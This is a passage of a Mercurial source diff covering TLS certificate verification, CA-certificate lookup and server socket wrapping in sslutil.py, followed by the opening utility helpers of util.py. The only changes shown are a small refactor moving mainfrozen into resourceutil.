569 569 )
570 570
571 571 elif e.reason == 'CERTIFICATE_VERIFY_FAILED' and pycompat.iswindows:
572 572
573 573 ui.warn(
574 574 _(
575 575 b'(the full certificate chain may not be available '
576 576 b'locally; see "hg help debugssl")\n'
577 577 )
578 578 )
579 579 raise
580 580
581 581 # check if wrap_socket failed silently because socket had been
582 582 # closed
583 583 # - see http://bugs.python.org/issue13721
584 584 if not sslsocket.cipher():
585 585 raise error.Abort(_(b'ssl connection failed'))
586 586
587 587 sslsocket._hgstate = {
588 588 b'caloaded': caloaded,
589 589 b'hostname': serverhostname,
590 590 b'settings': settings,
591 591 b'ui': ui,
592 592 }
593 593
594 594 return sslsocket
595 595
596 596
597 597 def wrapserversocket(
598 598 sock, ui, certfile=None, keyfile=None, cafile=None, requireclientcert=False
599 599 ):
600 600 """Wrap a socket for use by servers.
601 601
602 602 ``certfile`` and ``keyfile`` specify the files containing the certificate's
603 603 public and private keys, respectively. Both keys can be defined in the same
604 604 file via ``certfile`` (the private key must come first in the file).
605 605
606 606 ``cafile`` defines the path to certificate authorities.
607 607
608 608 ``requireclientcert`` specifies whether to require client certificates.
609 609
610 610 Typically ``cafile`` is only defined if ``requireclientcert`` is true.
611 611 """
612 612 # This function is not used much by core Mercurial, so the error messaging
613 613 # doesn't have to be as detailed as for wrapsocket().
614 614 for f in (certfile, keyfile, cafile):
615 615 if f and not os.path.exists(f):
616 616 raise error.Abort(
617 617 _(b'referenced certificate file (%s) does not exist') % f
618 618 )
619 619
620 620 protocol, options, _protocolui = protocolsettings(b'tls1.0')
621 621
622 622 # This config option is intended for use in tests only. It is a giant
623 623 # footgun to kill security. Don't define it.
624 624 exactprotocol = ui.config(b'devel', b'serverexactprotocol')
625 625 if exactprotocol == b'tls1.0':
626 626 protocol = ssl.PROTOCOL_TLSv1
627 627 elif exactprotocol == b'tls1.1':
628 628 if b'tls1.1' not in supportedprotocols:
629 629 raise error.Abort(_(b'TLS 1.1 not supported by this Python'))
630 630 protocol = ssl.PROTOCOL_TLSv1_1
631 631 elif exactprotocol == b'tls1.2':
632 632 if b'tls1.2' not in supportedprotocols:
633 633 raise error.Abort(_(b'TLS 1.2 not supported by this Python'))
634 634 protocol = ssl.PROTOCOL_TLSv1_2
635 635 elif exactprotocol:
636 636 raise error.Abort(
637 637 _(b'invalid value for serverexactprotocol: %s') % exactprotocol
638 638 )
639 639
640 640 if modernssl:
641 641 # We /could/ use create_default_context() here since it doesn't load
642 642 # CAs when configured for client auth. However, it is hard-coded to
643 643 # use ssl.PROTOCOL_SSLv23 which may not be appropriate here.
644 644 sslcontext = SSLContext(protocol)
645 645 sslcontext.options |= options
646 646
647 647 # Improve forward secrecy.
648 648 sslcontext.options |= getattr(ssl, 'OP_SINGLE_DH_USE', 0)
649 649 sslcontext.options |= getattr(ssl, 'OP_SINGLE_ECDH_USE', 0)
650 650
651 651 # Use the list of more secure ciphers if found in the ssl module.
652 652 if util.safehasattr(ssl, b'_RESTRICTED_SERVER_CIPHERS'):
653 653 sslcontext.options |= getattr(ssl, 'OP_CIPHER_SERVER_PREFERENCE', 0)
654 654 sslcontext.set_ciphers(ssl._RESTRICTED_SERVER_CIPHERS)
655 655 else:
656 656 sslcontext = SSLContext(ssl.PROTOCOL_TLSv1)
657 657
658 658 if requireclientcert:
659 659 sslcontext.verify_mode = ssl.CERT_REQUIRED
660 660 else:
661 661 sslcontext.verify_mode = ssl.CERT_NONE
662 662
663 663 if certfile or keyfile:
664 664 sslcontext.load_cert_chain(certfile=certfile, keyfile=keyfile)
665 665
666 666 if cafile:
667 667 sslcontext.load_verify_locations(cafile=cafile)
668 668
669 669 return sslcontext.wrap_socket(sock, server_side=True)
670 670
671 671
672 672 class wildcarderror(Exception):
673 673 """Represents an error parsing wildcards in DNS name."""
674 674
675 675
676 676 def _dnsnamematch(dn, hostname, maxwildcards=1):
677 677 """Match DNS names according RFC 6125 section 6.4.3.
678 678
679 679 This code is effectively copied from CPython's ssl._dnsname_match.
680 680
681 681 Returns a bool indicating whether the expected hostname matches
682 682 the value in ``dn``.
683 683 """
684 684 pats = []
685 685 if not dn:
686 686 return False
687 687 dn = pycompat.bytesurl(dn)
688 688 hostname = pycompat.bytesurl(hostname)
689 689
690 690 pieces = dn.split(b'.')
691 691 leftmost = pieces[0]
692 692 remainder = pieces[1:]
693 693 wildcards = leftmost.count(b'*')
694 694 if wildcards > maxwildcards:
695 695 raise wildcarderror(
696 696 _(b'too many wildcards in certificate DNS name: %s') % dn
697 697 )
698 698
699 699 # speed up common case w/o wildcards
700 700 if not wildcards:
701 701 return dn.lower() == hostname.lower()
702 702
703 703 # RFC 6125, section 6.4.3, subitem 1.
704 704 # The client SHOULD NOT attempt to match a presented identifier in which
705 705 # the wildcard character comprises a label other than the left-most label.
706 706 if leftmost == b'*':
707 707 # When '*' is a fragment by itself, it matches a non-empty dotless
708 708 # fragment.
709 709 pats.append(b'[^.]+')
710 710 elif leftmost.startswith(b'xn--') or hostname.startswith(b'xn--'):
711 711 # RFC 6125, section 6.4.3, subitem 3.
712 712 # The client SHOULD NOT attempt to match a presented identifier
713 713 # where the wildcard character is embedded within an A-label or
714 714 # U-label of an internationalized domain name.
715 715 pats.append(stringutil.reescape(leftmost))
716 716 else:
717 717 # Otherwise, '*' matches any dotless string, e.g. www*
718 718 pats.append(stringutil.reescape(leftmost).replace(br'\*', b'[^.]*'))
719 719
720 720 # add the remaining fragments, ignore any wildcards
721 721 for frag in remainder:
722 722 pats.append(stringutil.reescape(frag))
723 723
724 724 pat = re.compile(br'\A' + br'\.'.join(pats) + br'\Z', re.IGNORECASE)
725 725 return pat.match(hostname) is not None
726 726
727 727
728 728 def _verifycert(cert, hostname):
729 729 '''Verify that cert (in socket.getpeercert() format) matches hostname.
730 730 CRLs is not handled.
731 731
732 732 Returns error message if any problems are found and None on success.
733 733 '''
734 734 if not cert:
735 735 return _(b'no certificate received')
736 736
737 737 dnsnames = []
738 738 san = cert.get('subjectAltName', [])
739 739 for key, value in san:
740 740 if key == 'DNS':
741 741 try:
742 742 if _dnsnamematch(value, hostname):
743 743 return
744 744 except wildcarderror as e:
745 745 return stringutil.forcebytestr(e.args[0])
746 746
747 747 dnsnames.append(value)
748 748
749 749 if not dnsnames:
750 750 # The subject is only checked when there is no DNS in subjectAltName.
751 751 for sub in cert.get('subject', []):
752 752 for key, value in sub:
753 753 # According to RFC 2818 the most specific Common Name must
754 754 # be used.
755 755 if key == 'commonName':
756 756 # 'subject' entries are unicode.
757 757 try:
758 758 value = value.encode('ascii')
759 759 except UnicodeEncodeError:
760 760 return _(b'IDN in certificate not supported')
761 761
762 762 try:
763 763 if _dnsnamematch(value, hostname):
764 764 return
765 765 except wildcarderror as e:
766 766 return stringutil.forcebytestr(e.args[0])
767 767
768 768 dnsnames.append(value)
769 769
770 770 dnsnames = [pycompat.bytesurl(d) for d in dnsnames]
771 771 if len(dnsnames) > 1:
772 772 return _(b'certificate is for %s') % b', '.join(dnsnames)
773 773 elif len(dnsnames) == 1:
774 774 return _(b'certificate is for %s') % dnsnames[0]
775 775 else:
776 776 return _(b'no commonName or subjectAltName found in certificate')
777 777
778 778
779 779 def _plainapplepython():
780 780 """return true if this seems to be a pure Apple Python that
781 781 * is unfrozen and presumably has the whole mercurial module in the file
782 782 system
783 783 * presumably is an Apple Python that uses Apple OpenSSL which has patches
784 784 for using system certificate store CAs in addition to the provided
785 785 cacerts file
786 786 """
787 787 if (
788 788 not pycompat.isdarwin
789 or procutil.mainfrozen()
789 or resourceutil.mainfrozen()
790 790 or not pycompat.sysexecutable
791 791 ):
792 792 return False
793 793 exe = os.path.realpath(pycompat.sysexecutable).lower()
794 794 return exe.startswith(b'/usr/bin/python') or exe.startswith(
795 795 b'/system/library/frameworks/python.framework/'
796 796 )
797 797
798 798
799 799 _systemcacertpaths = [
800 800 # RHEL, CentOS, and Fedora
801 801 b'/etc/pki/tls/certs/ca-bundle.trust.crt',
802 802 # Debian, Ubuntu, Gentoo
803 803 b'/etc/ssl/certs/ca-certificates.crt',
804 804 ]
805 805
806 806
807 807 def _defaultcacerts(ui):
808 808 """return path to default CA certificates or None.
809 809
810 810 It is assumed this function is called when the returned certificates
811 811 file will actually be used to validate connections. Therefore this
812 812 function may print warnings or debug messages assuming this usage.
813 813
814 814 We don't print a message when the Python is able to load default
815 815 CA certs because this scenario is detected at socket connect time.
816 816 """
817 817 # The "certifi" Python package provides certificates. If it is installed
818 818 # and usable, assume the user intends it to be used and use it.
819 819 try:
820 820 import certifi
821 821
822 822 certs = certifi.where()
823 823 if os.path.exists(certs):
824 824 ui.debug(b'using ca certificates from certifi\n')
825 825 return pycompat.fsencode(certs)
826 826 except (ImportError, AttributeError):
827 827 pass
828 828
829 829 # On Windows, only the modern ssl module is capable of loading the system
830 830 # CA certificates. If we're not capable of doing that, emit a warning
831 831 # because we'll get a certificate verification error later and the lack
832 832 # of loaded CA certificates will be the reason why.
833 833 # Assertion: this code is only called if certificates are being verified.
834 834 if pycompat.iswindows:
835 835 if not _canloaddefaultcerts:
836 836 ui.warn(
837 837 _(
838 838 b'(unable to load Windows CA certificates; see '
839 839 b'https://mercurial-scm.org/wiki/SecureConnections for '
840 840 b'how to configure Mercurial to avoid this message)\n'
841 841 )
842 842 )
843 843
844 844 return None
845 845
846 846 # Apple's OpenSSL has patches that allow a specially constructed certificate
847 847 # to load the system CA store. If we're running on Apple Python, use this
848 848 # trick.
849 849 if _plainapplepython():
850 850 dummycert = os.path.join(
851 851 os.path.dirname(pycompat.fsencode(__file__)), b'dummycert.pem'
852 852 )
853 853 if os.path.exists(dummycert):
854 854 return dummycert
855 855
856 856 # The Apple OpenSSL trick isn't available to us. If Python isn't able to
857 857 # load system certs, we're out of luck.
858 858 if pycompat.isdarwin:
859 859 # FUTURE Consider looking for Homebrew or MacPorts installed certs
860 860 # files. Also consider exporting the keychain certs to a file during
861 861 # Mercurial install.
862 862 if not _canloaddefaultcerts:
863 863 ui.warn(
864 864 _(
865 865 b'(unable to load CA certificates; see '
866 866 b'https://mercurial-scm.org/wiki/SecureConnections for '
867 867 b'how to configure Mercurial to avoid this message)\n'
868 868 )
869 869 )
870 870 return None
871 871
872 872 # / is writable on Windows. Out of an abundance of caution make sure
873 873 # we're not on Windows because paths from _systemcacerts could be installed
874 874 # by non-admin users.
875 875 assert not pycompat.iswindows
876 876
877 877 # Try to find CA certificates in well-known locations. We print a warning
878 878 # when using a found file because we don't want too much silent magic
879 879 # for security settings. The expectation is that proper Mercurial
880 880 # installs will have the CA certs path defined at install time and the
881 881 # installer/packager will make an appropriate decision on the user's
882 882 # behalf. We only get here and perform this setting as a feature of
883 883 # last resort.
884 884 if not _canloaddefaultcerts:
885 885 for path in _systemcacertpaths:
886 886 if os.path.isfile(path):
887 887 ui.warn(
888 888 _(
889 889 b'(using CA certificates from %s; if you see this '
890 890 b'message, your Mercurial install is not properly '
891 891 b'configured; see '
892 892 b'https://mercurial-scm.org/wiki/SecureConnections '
893 893 b'for how to configure Mercurial to avoid this '
894 894 b'message)\n'
895 895 )
896 896 % path
897 897 )
898 898 return path
899 899
900 900 ui.warn(
901 901 _(
902 902 b'(unable to load CA certificates; see '
903 903 b'https://mercurial-scm.org/wiki/SecureConnections for '
904 904 b'how to configure Mercurial to avoid this message)\n'
905 905 )
906 906 )
907 907
908 908 return None
909 909
910 910
911 911 def validatesocket(sock):
912 912 """Validate a socket meets security requirements.
913 913
914 914 The passed socket must have been created with ``wrapsocket()``.
915 915 """
916 916 shost = sock._hgstate[b'hostname']
917 917 host = pycompat.bytesurl(shost)
918 918 ui = sock._hgstate[b'ui']
919 919 settings = sock._hgstate[b'settings']
920 920
921 921 try:
922 922 peercert = sock.getpeercert(True)
923 923 peercert2 = sock.getpeercert()
924 924 except AttributeError:
925 925 raise error.Abort(_(b'%s ssl connection error') % host)
926 926
927 927 if not peercert:
928 928 raise error.Abort(
929 929 _(b'%s certificate error: no certificate received') % host
930 930 )
931 931
932 932 if settings[b'disablecertverification']:
933 933 # We don't print the certificate fingerprint because it shouldn't
934 934 # be necessary: if the user requested certificate verification be
935 935 # disabled, they presumably already saw a message about the inability
936 936 # to verify the certificate and this message would have printed the
937 937 # fingerprint. So printing the fingerprint here adds little to no
938 938 # value.
939 939 ui.warn(
940 940 _(
941 941 b'warning: connection security to %s is disabled per current '
942 942 b'settings; communication is susceptible to eavesdropping '
943 943 b'and tampering\n'
944 944 )
945 945 % host
946 946 )
947 947 return
948 948
949 949 # If a certificate fingerprint is pinned, use it and only it to
950 950 # validate the remote cert.
951 951 peerfingerprints = {
952 952 b'sha1': node.hex(hashlib.sha1(peercert).digest()),
953 953 b'sha256': node.hex(hashlib.sha256(peercert).digest()),
954 954 b'sha512': node.hex(hashlib.sha512(peercert).digest()),
955 955 }
956 956
957 957 def fmtfingerprint(s):
958 958 return b':'.join([s[x : x + 2] for x in range(0, len(s), 2)])
959 959
960 960 nicefingerprint = b'sha256:%s' % fmtfingerprint(peerfingerprints[b'sha256'])
961 961
962 962 if settings[b'certfingerprints']:
963 963 for hash, fingerprint in settings[b'certfingerprints']:
964 964 if peerfingerprints[hash].lower() == fingerprint:
965 965 ui.debug(
966 966 b'%s certificate matched fingerprint %s:%s\n'
967 967 % (host, hash, fmtfingerprint(fingerprint))
968 968 )
969 969 if settings[b'legacyfingerprint']:
970 970 ui.warn(
971 971 _(
972 972 b'(SHA-1 fingerprint for %s found in legacy '
973 973 b'[hostfingerprints] section; '
974 974 b'if you trust this fingerprint, remove the old '
975 975 b'SHA-1 fingerprint from [hostfingerprints] and '
976 976 b'add the following entry to the new '
977 977 b'[hostsecurity] section: %s:fingerprints=%s)\n'
978 978 )
979 979 % (host, host, nicefingerprint)
980 980 )
981 981 return
982 982
983 983 # Pinned fingerprint didn't match. This is a fatal error.
984 984 if settings[b'legacyfingerprint']:
985 985 section = b'hostfingerprint'
986 986 nice = fmtfingerprint(peerfingerprints[b'sha1'])
987 987 else:
988 988 section = b'hostsecurity'
989 989 nice = b'%s:%s' % (hash, fmtfingerprint(peerfingerprints[hash]))
990 990 raise error.Abort(
991 991 _(b'certificate for %s has unexpected fingerprint %s')
992 992 % (host, nice),
993 993 hint=_(b'check %s configuration') % section,
994 994 )
995 995
996 996 # Security is enabled but no CAs are loaded. We can't establish trust
997 997 # for the cert so abort.
998 998 if not sock._hgstate[b'caloaded']:
999 999 raise error.Abort(
1000 1000 _(
1001 1001 b'unable to verify security of %s (no loaded CA certificates); '
1002 1002 b'refusing to connect'
1003 1003 )
1004 1004 % host,
1005 1005 hint=_(
1006 1006 b'see https://mercurial-scm.org/wiki/SecureConnections for '
1007 1007 b'how to configure Mercurial to avoid this error or set '
1008 1008 b'hostsecurity.%s:fingerprints=%s to trust this server'
1009 1009 )
1010 1010 % (host, nicefingerprint),
1011 1011 )
1012 1012
1013 1013 msg = _verifycert(peercert2, shost)
1014 1014 if msg:
1015 1015 raise error.Abort(
1016 1016 _(b'%s certificate error: %s') % (host, msg),
1017 1017 hint=_(
1018 1018 b'set hostsecurity.%s:certfingerprints=%s '
1019 1019 b'config setting or use --insecure to connect '
1020 1020 b'insecurely'
1021 1021 )
1022 1022 % (host, nicefingerprint),
1023 1023 )
@@ -1,3601 +1,3602 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import collections
20 20 import contextlib
21 21 import errno
22 22 import gc
23 23 import hashlib
24 24 import itertools
25 25 import mmap
26 26 import os
27 27 import platform as pyplatform
28 28 import re as remod
29 29 import shutil
30 30 import socket
31 31 import stat
32 32 import sys
33 33 import time
34 34 import traceback
35 35 import warnings
36 36
37 37 from .thirdparty import attr
38 38 from .pycompat import (
39 39 delattr,
40 40 getattr,
41 41 open,
42 42 setattr,
43 43 )
44 44 from hgdemandimport import tracing
45 45 from . import (
46 46 encoding,
47 47 error,
48 48 i18n,
49 49 node as nodemod,
50 50 policy,
51 51 pycompat,
52 52 urllibcompat,
53 53 )
54 54 from .utils import (
55 55 compression,
56 56 procutil,
57 resourceutil,
57 58 stringutil,
58 59 )
59 60
60 61 base85 = policy.importmod('base85')
61 62 osutil = policy.importmod('osutil')
62 63
63 64 b85decode = base85.b85decode
64 65 b85encode = base85.b85encode
65 66
66 67 cookielib = pycompat.cookielib
67 68 httplib = pycompat.httplib
68 69 pickle = pycompat.pickle
69 70 safehasattr = pycompat.safehasattr
70 71 socketserver = pycompat.socketserver
71 72 bytesio = pycompat.bytesio
72 73 # TODO deprecate stringio name, as it is a lie on Python 3.
73 74 stringio = bytesio
74 75 xmlrpclib = pycompat.xmlrpclib
75 76
76 77 httpserver = urllibcompat.httpserver
77 78 urlerr = urllibcompat.urlerr
78 79 urlreq = urllibcompat.urlreq
79 80
80 81 # workaround for win32mbcs
81 82 _filenamebytestr = pycompat.bytestr
82 83
83 84 if pycompat.iswindows:
84 85 from . import windows as platform
85 86 else:
86 87 from . import posix as platform
87 88
88 89 _ = i18n._
89 90
90 91 bindunixsocket = platform.bindunixsocket
91 92 cachestat = platform.cachestat
92 93 checkexec = platform.checkexec
93 94 checklink = platform.checklink
94 95 copymode = platform.copymode
95 96 expandglobs = platform.expandglobs
96 97 getfsmountpoint = platform.getfsmountpoint
97 98 getfstype = platform.getfstype
98 99 groupmembers = platform.groupmembers
99 100 groupname = platform.groupname
100 101 isexec = platform.isexec
101 102 isowner = platform.isowner
102 103 listdir = osutil.listdir
103 104 localpath = platform.localpath
104 105 lookupreg = platform.lookupreg
105 106 makedir = platform.makedir
106 107 nlinks = platform.nlinks
107 108 normpath = platform.normpath
108 109 normcase = platform.normcase
109 110 normcasespec = platform.normcasespec
110 111 normcasefallback = platform.normcasefallback
111 112 openhardlinks = platform.openhardlinks
112 113 oslink = platform.oslink
113 114 parsepatchoutput = platform.parsepatchoutput
114 115 pconvert = platform.pconvert
115 116 poll = platform.poll
116 117 posixfile = platform.posixfile
117 118 readlink = platform.readlink
118 119 rename = platform.rename
119 120 removedirs = platform.removedirs
120 121 samedevice = platform.samedevice
121 122 samefile = platform.samefile
122 123 samestat = platform.samestat
123 124 setflags = platform.setflags
124 125 split = platform.split
125 126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 127 statisexec = platform.statisexec
127 128 statislink = platform.statislink
128 129 umask = platform.umask
129 130 unlink = platform.unlink
130 131 username = platform.username
131 132
132 133 # small compat layer
133 134 compengines = compression.compengines
134 135 SERVERROLE = compression.SERVERROLE
135 136 CLIENTROLE = compression.CLIENTROLE
136 137
137 138 try:
138 139 recvfds = osutil.recvfds
139 140 except AttributeError:
140 141 pass
141 142
142 143 # Python compatibility
143 144
144 145 _notset = object()
145 146
146 147
147 148 def bitsfrom(container):
148 149 bits = 0
149 150 for bit in container:
150 151 bits |= bit
151 152 return bits
152 153
153 154
154 155 # python 2.6 still have deprecation warning enabled by default. We do not want
155 156 # to display anything to standard user so detect if we are running test and
156 157 # only use python deprecation warning in this case.
157 158 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 159 if _dowarn:
159 160 # explicitly unfilter our warning for python 2.7
160 161 #
161 162 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 163 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 164 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 165 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 166 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 168 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 169 if _dowarn and pycompat.ispy3:
169 170 # silence warning emitted by passing user string to re.sub()
170 171 warnings.filterwarnings(
171 172 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 173 )
173 174 warnings.filterwarnings(
174 175 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 176 )
176 177 # TODO: reinvent imp.is_frozen()
177 178 warnings.filterwarnings(
178 179 'ignore',
179 180 'the imp module is deprecated',
180 181 DeprecationWarning,
181 182 'mercurial',
182 183 )
183 184
184 185
185 186 def nouideprecwarn(msg, version, stacklevel=1):
186 187 """Issue an python native deprecation warning
187 188
188 189 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 190 """
190 191 if _dowarn:
191 192 msg += (
192 193 b"\n(compatibility will be dropped after Mercurial-%s,"
193 194 b" update your code.)"
194 195 ) % version
195 196 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196 197
197 198
198 199 DIGESTS = {
199 200 b'md5': hashlib.md5,
200 201 b'sha1': hashlib.sha1,
201 202 b'sha512': hashlib.sha512,
202 203 }
203 204 # List of digest types from strongest to weakest
204 205 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205 206
206 207 for k in DIGESTS_BY_STRENGTH:
207 208 assert k in DIGESTS
208 209
209 210
210 211 class digester(object):
211 212 """helper to compute digests.
212 213
213 214 This helper can be used to compute one or more digests given their name.
214 215
215 216 >>> d = digester([b'md5', b'sha1'])
216 217 >>> d.update(b'foo')
217 218 >>> [k for k in sorted(d)]
218 219 ['md5', 'sha1']
219 220 >>> d[b'md5']
220 221 'acbd18db4cc2f85cedef654fccc4a4d8'
221 222 >>> d[b'sha1']
222 223 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 224 >>> digester.preferred([b'md5', b'sha1'])
224 225 'sha1'
225 226 """
226 227
227 228 def __init__(self, digests, s=b''):
228 229 self._hashes = {}
229 230 for k in digests:
230 231 if k not in DIGESTS:
231 232 raise error.Abort(_(b'unknown digest type: %s') % k)
232 233 self._hashes[k] = DIGESTS[k]()
233 234 if s:
234 235 self.update(s)
235 236
236 237 def update(self, data):
237 238 for h in self._hashes.values():
238 239 h.update(data)
239 240
240 241 def __getitem__(self, key):
241 242 if key not in DIGESTS:
242 243 raise error.Abort(_(b'unknown digest type: %s') % k)
243 244 return nodemod.hex(self._hashes[key].digest())
244 245
245 246 def __iter__(self):
246 247 return iter(self._hashes)
247 248
248 249 @staticmethod
249 250 def preferred(supported):
250 251 """returns the strongest digest type in both supported and DIGESTS."""
251 252
252 253 for k in DIGESTS_BY_STRENGTH:
253 254 if k in supported:
254 255 return k
255 256 return None
256 257
257 258
258 259 class digestchecker(object):
259 260 """file handle wrapper that additionally checks content against a given
260 261 size and digests.
261 262
262 263 d = digestchecker(fh, size, {'md5': '...'})
263 264
264 265 When multiple digests are given, all of them are validated.
265 266 """
266 267
267 268 def __init__(self, fh, size, digests):
268 269 self._fh = fh
269 270 self._size = size
270 271 self._got = 0
271 272 self._digests = dict(digests)
272 273 self._digester = digester(self._digests.keys())
273 274
274 275 def read(self, length=-1):
275 276 content = self._fh.read(length)
276 277 self._digester.update(content)
277 278 self._got += len(content)
278 279 return content
279 280
280 281 def validate(self):
281 282 if self._size != self._got:
282 283 raise error.Abort(
283 284 _(b'size mismatch: expected %d, got %d')
284 285 % (self._size, self._got)
285 286 )
286 287 for k, v in self._digests.items():
287 288 if v != self._digester[k]:
288 289 # i18n: first parameter is a digest name
289 290 raise error.Abort(
290 291 _(b'%s mismatch: expected %s, got %s')
291 292 % (k, v, self._digester[k])
292 293 )
293 294
294 295
295 296 try:
296 297 buffer = buffer
297 298 except NameError:
298 299
299 300 def buffer(sliceable, offset=0, length=None):
300 301 if length is not None:
301 302 return memoryview(sliceable)[offset : offset + length]
302 303 return memoryview(sliceable)[offset:]
303 304
304 305
305 306 _chunksize = 4096
306 307
307 308
308 309 class bufferedinputpipe(object):
309 310 """a manually buffered input pipe
310 311
311 312 Python will not let us use buffered IO and lazy reading with 'polling' at
312 313 the same time. We cannot probe the buffer state and select will not detect
313 314 that data are ready to read if they are already buffered.
314 315
315 316 This class let us work around that by implementing its own buffering
316 317 (allowing efficient readline) while offering a way to know if the buffer is
317 318 empty from the output (allowing collaboration of the buffer with polling).
318 319
319 320 This class lives in the 'util' module because it makes use of the 'os'
320 321 module from the python stdlib.
321 322 """
322 323
323 324 def __new__(cls, fh):
324 325 # If we receive a fileobjectproxy, we need to use a variation of this
325 326 # class that notifies observers about activity.
326 327 if isinstance(fh, fileobjectproxy):
327 328 cls = observedbufferedinputpipe
328 329
329 330 return super(bufferedinputpipe, cls).__new__(cls)
330 331
331 332 def __init__(self, input):
332 333 self._input = input
333 334 self._buffer = []
334 335 self._eof = False
335 336 self._lenbuf = 0
336 337
337 338 @property
338 339 def hasbuffer(self):
339 340 """True is any data is currently buffered
340 341
341 342 This will be used externally a pre-step for polling IO. If there is
342 343 already data then no polling should be set in place."""
343 344 return bool(self._buffer)
344 345
345 346 @property
346 347 def closed(self):
347 348 return self._input.closed
348 349
349 350 def fileno(self):
350 351 return self._input.fileno()
351 352
352 353 def close(self):
353 354 return self._input.close()
354 355
355 356 def read(self, size):
356 357 while (not self._eof) and (self._lenbuf < size):
357 358 self._fillbuffer()
358 359 return self._frombuffer(size)
359 360
360 361 def unbufferedread(self, size):
361 362 if not self._eof and self._lenbuf == 0:
362 363 self._fillbuffer(max(size, _chunksize))
363 364 return self._frombuffer(min(self._lenbuf, size))
364 365
365 366 def readline(self, *args, **kwargs):
366 367 if len(self._buffer) > 1:
367 368 # this should not happen because both read and readline end with a
368 369 # _frombuffer call that collapse it.
369 370 self._buffer = [b''.join(self._buffer)]
370 371 self._lenbuf = len(self._buffer[0])
371 372 lfi = -1
372 373 if self._buffer:
373 374 lfi = self._buffer[-1].find(b'\n')
374 375 while (not self._eof) and lfi < 0:
375 376 self._fillbuffer()
376 377 if self._buffer:
377 378 lfi = self._buffer[-1].find(b'\n')
378 379 size = lfi + 1
379 380 if lfi < 0: # end of file
380 381 size = self._lenbuf
381 382 elif len(self._buffer) > 1:
382 383 # we need to take previous chunks into account
383 384 size += self._lenbuf - len(self._buffer[-1])
384 385 return self._frombuffer(size)
385 386
386 387 def _frombuffer(self, size):
387 388 """return at most 'size' data from the buffer
388 389
389 390 The data are removed from the buffer."""
390 391 if size == 0 or not self._buffer:
391 392 return b''
392 393 buf = self._buffer[0]
393 394 if len(self._buffer) > 1:
394 395 buf = b''.join(self._buffer)
395 396
396 397 data = buf[:size]
397 398 buf = buf[len(data) :]
398 399 if buf:
399 400 self._buffer = [buf]
400 401 self._lenbuf = len(buf)
401 402 else:
402 403 self._buffer = []
403 404 self._lenbuf = 0
404 405 return data
405 406
406 407 def _fillbuffer(self, size=_chunksize):
407 408 """read data to the buffer"""
408 409 data = os.read(self._input.fileno(), size)
409 410 if not data:
410 411 self._eof = True
411 412 else:
412 413 self._lenbuf += len(data)
413 414 self._buffer.append(data)
414 415
415 416 return data
416 417
417 418
418 419 def mmapread(fp):
419 420 try:
420 421 fd = getattr(fp, 'fileno', lambda: fp)()
421 422 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
422 423 except ValueError:
423 424 # Empty files cannot be mmapped, but mmapread should still work. Check
424 425 # if the file is empty, and if so, return an empty buffer.
425 426 if os.fstat(fd).st_size == 0:
426 427 return b''
427 428 raise
428 429
429 430
430 431 class fileobjectproxy(object):
431 432 """A proxy around file objects that tells a watcher when events occur.
432 433
433 434 This type is intended to only be used for testing purposes. Think hard
434 435 before using it in important code.
435 436 """
436 437
437 438 __slots__ = (
438 439 '_orig',
439 440 '_observer',
440 441 )
441 442
442 443 def __init__(self, fh, observer):
443 444 object.__setattr__(self, '_orig', fh)
444 445 object.__setattr__(self, '_observer', observer)
445 446
446 447 def __getattribute__(self, name):
447 448 ours = {
448 449 '_observer',
449 450 # IOBase
450 451 'close',
451 452 # closed if a property
452 453 'fileno',
453 454 'flush',
454 455 'isatty',
455 456 'readable',
456 457 'readline',
457 458 'readlines',
458 459 'seek',
459 460 'seekable',
460 461 'tell',
461 462 'truncate',
462 463 'writable',
463 464 'writelines',
464 465 # RawIOBase
465 466 'read',
466 467 'readall',
467 468 'readinto',
468 469 'write',
469 470 # BufferedIOBase
470 471 # raw is a property
471 472 'detach',
472 473 # read defined above
473 474 'read1',
474 475 # readinto defined above
475 476 # write defined above
476 477 }
477 478
478 479 # We only observe some methods.
479 480 if name in ours:
480 481 return object.__getattribute__(self, name)
481 482
482 483 return getattr(object.__getattribute__(self, '_orig'), name)
483 484
484 485 def __nonzero__(self):
485 486 return bool(object.__getattribute__(self, '_orig'))
486 487
487 488 __bool__ = __nonzero__
488 489
489 490 def __delattr__(self, name):
490 491 return delattr(object.__getattribute__(self, '_orig'), name)
491 492
492 493 def __setattr__(self, name, value):
493 494 return setattr(object.__getattribute__(self, '_orig'), name, value)
494 495
495 496 def __iter__(self):
496 497 return object.__getattribute__(self, '_orig').__iter__()
497 498
498 499 def _observedcall(self, name, *args, **kwargs):
499 500 # Call the original object.
500 501 orig = object.__getattribute__(self, '_orig')
501 502 res = getattr(orig, name)(*args, **kwargs)
502 503
503 504 # Call a method on the observer of the same name with arguments
504 505 # so it can react, log, etc.
505 506 observer = object.__getattribute__(self, '_observer')
506 507 fn = getattr(observer, name, None)
507 508 if fn:
508 509 fn(res, *args, **kwargs)
509 510
510 511 return res
511 512
512 513 def close(self, *args, **kwargs):
513 514 return object.__getattribute__(self, '_observedcall')(
514 515 'close', *args, **kwargs
515 516 )
